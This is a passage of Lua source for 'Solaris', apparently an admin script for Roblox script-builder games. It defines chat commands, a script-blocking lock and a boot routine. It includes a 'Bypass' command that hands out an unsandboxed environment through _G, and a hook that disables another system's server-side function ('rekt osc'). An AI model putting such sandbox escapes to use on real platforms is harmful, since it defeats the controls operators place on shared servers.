 		local Level = tonumber(Message:sub(Split+1))
 		if #Plrs>0 then
 			for index,data in pairs(Plrs)do
 				if Level > Solaris.Admins[data.Name].Level and Solaris.Admins[data.Name].Level >= Solaris.Admins[Player.Name].Level then
 					print_to(data,"[Error]: You cant set your level higher then your own")
 				else
 					print("[Solaris]: Has set "..data.Name.."'s Access level to ["..Level.."]")
                     Solaris.Admins[data.Name].Level = tonumber(Level)
 				end
 			end
 		end
 	end)
 
 	AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player)
 		local newEnv = getfenv(1)
 		newEnv.script = nil
 		newEnv.warn = print
 		newEnv.print = print
 		newEnv.print_to = print_to
 		newEnv.broadcast = broadcast
 		rawset(_G,"Bypass",function()
 			return newEnv
 		end)
 		broadcast('[Solaris]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code')
 	end)
 
 	AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player)
 		if #Message>0 then
 			if Message:lower() == 'true' then
 				if Solaris.Blocker.LocalBlock == true and Solaris.Blocker.LocalBlock == true then
 					print_to(Player,"[Solaris]: Scripting is already locked")
 				else
 					Solaris.Blocker.LocalBlock = true
 					Solaris.Blocker.GlobalBlock = true
 					print('[Solairs]: Is locking Scripting')
 				end
 			elseif Message:lower()=='false' then
 				if Solaris.Blocker.LocalBlock == false and Solaris.Blocker.LocalBlock == false then
 					print_to(Player,"[Solaris]: Scripting is already unlocked")
 				else
 					Solaris.Blocker.LocalBlock = false
 					Solaris.Blocker.GlobalBlock = false
 					print('[Solairs]: Is unlocking Scripting')
 				end
 			end
 		end
 	end)
 
 	AddCommand('Clear Cache','ccl','Clears log cache of a secret thing',5,function(Message, Collect_Players, Player)
 		local y,n = pcall(function()
 			print('[Solairs]: Has Cleared => HTTP CACHE')
 			for i,v in pairs(rbxdb:GetAllData())do
 			    rbxdb:DeleteValue(i)
 			end
 		end)
 		if not y then print("[ERROR]: "..n)end
 	end)
 
 	AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player)
 		if #Message>0 then
 			if Message:lower() == 'true'then
 				ChangeTheme(Player,'hidden')
 			elseif Message:lower()== 'false' then
 				ChangeTheme(Player,'normal')
 			end
 		end
 	end)
 
 	AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player)
 		GetSavedScripts(Player)
 	end)
 
 	AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player)
 		local Data = rbxdb:GetAllData()
 		if type(Data)=='table'then
 			for i,v in pairs(Data)do wait(.1)
 				print_to(Player,tostring(i)..":"..tostring(v))
 			end
 		end
 	end)
 
 	AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player)
 		GiveServerConsole(Player)
 	end)
 
 	AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player)
 		GetGarbage(Player)
 	end)
 
 	AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player)
 		if #Message > 0 then
 			SafeExe(Message,Player)
 		end
 	end)
 
 	AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player)
 		Solaris.__STATUS = not Solaris.__STATUS
 		if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
 			SpawnOrb()
 		end
 	end)
 
 	print("[Solaris]: Has finished booting commands")
 end local BootCommands = API.BootCommands
 
 function API.Connect(plr)
 	if type(plr)~='userdata'then return end
 
 	local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious"}
 	if plr.AccountAge/365 < .5 then
 		for i,v in pairs(Allowed_YoungPlrs)do
 			if not plr.Name == v then
 				plr:Kick("[Solaris]: Sorry your AccountAge is to young to join this game")
 			end
 		end
 	end
 
 	if Solaris.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(Solaris.Banned[plr.Name]) end
 
 	if not Solaris.Admins[plr.Name]then
 		print_to(plr,"[Solaris]: Has identifyed you as a ["..Solaris.Levels[1].."]")
 		print("[Solaris]: connect "..plr.Name.." as a ["..Solaris.Levels[1].."]")
 		Solaris.Admins[plr.Name] = {Level=1}
 	elseif Solaris.Admins[plr.Name]then
 		print_to(plr,"[Solaris]: Has identified you as a ["..Solaris.Levels[Solaris.Admins[plr.Name].Level].."]")
 	end
 	ConnectLogger(plr)
 	plr.Chatted:connect(function(msg)
 		Chatted(plr,msg)
 	end)
 end local Connect = API.Connect
 
 --// Bootstrapper functions
 
 function Bootstrap:Boot()
 	local DeploymentID = Generate(math.random(1,50)*2/3)
 	--// Bootup
 	broadcast("[Solaris]: Has started booting up")
 	SpawnOrb()
 	Rotate()
 	BootCommands()
 	for i,v in pairs(game:GetService('Players'):children())do
 		Connect(v)
 	end
 
 	game:GetService('Players').PlayerAdded:connect(function(plr)
 		wait(.5)
 		Connect(plr)
 	end)
 
 	game.Workspace.DescendantAdded:connect(function(obj)
 		if obj.ClassName == "Script" then
 			if Solaris.Blocker.GlobalBlock == true then
 				obj.Disabled = true
 				obj:Destroy()
 			end
 		elseif obj.ClassName == "LocalScript" then
 			if Solaris.Blocker.LocalBlock == true then
 				obj.Disabled = true
 				obj:Destroy()
 			end
 		end
 	end)
 	--game.DescendantAdded:connect(function(instance)
 		--if Solaris.Blocker.LagBlocker== true then
 			--if Solaris.LagBlockedInstances[instance.ClassName]then
 				--instance:Destroy()
 			--end
 		--end
 	--end)
 
 
 	game.itemChanged:connect(function()
 		spawn(function()
 			local osc=_G.OSC_AddServerSideData;
 			_G.OSC_AddServerSideData=nil;--< rekt osc
 		end);
 	end);
 
 
 	print("[Solaris]: Has booted successfully")
 	broadcast("[Solaris]: Has deployed with ID: "..DeploymentID.."")
 	rbxdb:SetValue("[SOLARIS DEPLOYMENT]",DeploymentID)
 end
 
 if script.ClassName == 'Script'then
 	if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
 		local y,n = pcall(function()
 		    Solaris.API.Bootstrap:Boot()
 		end)if not y then print('{ERROR}: '..n)end
 	end
 elseif script.ClassName == 'ModuleScript'then
 	return function(deploymentKey)
 		local Key = Solaris.AccessKey
 	    if deploymentKey == Key then
 	        return Solaris.API.Bootstrap
 	    else
 			return error('INVALID DEPLOYMENT ACCESS KEY!')
 	    end
 	end
 end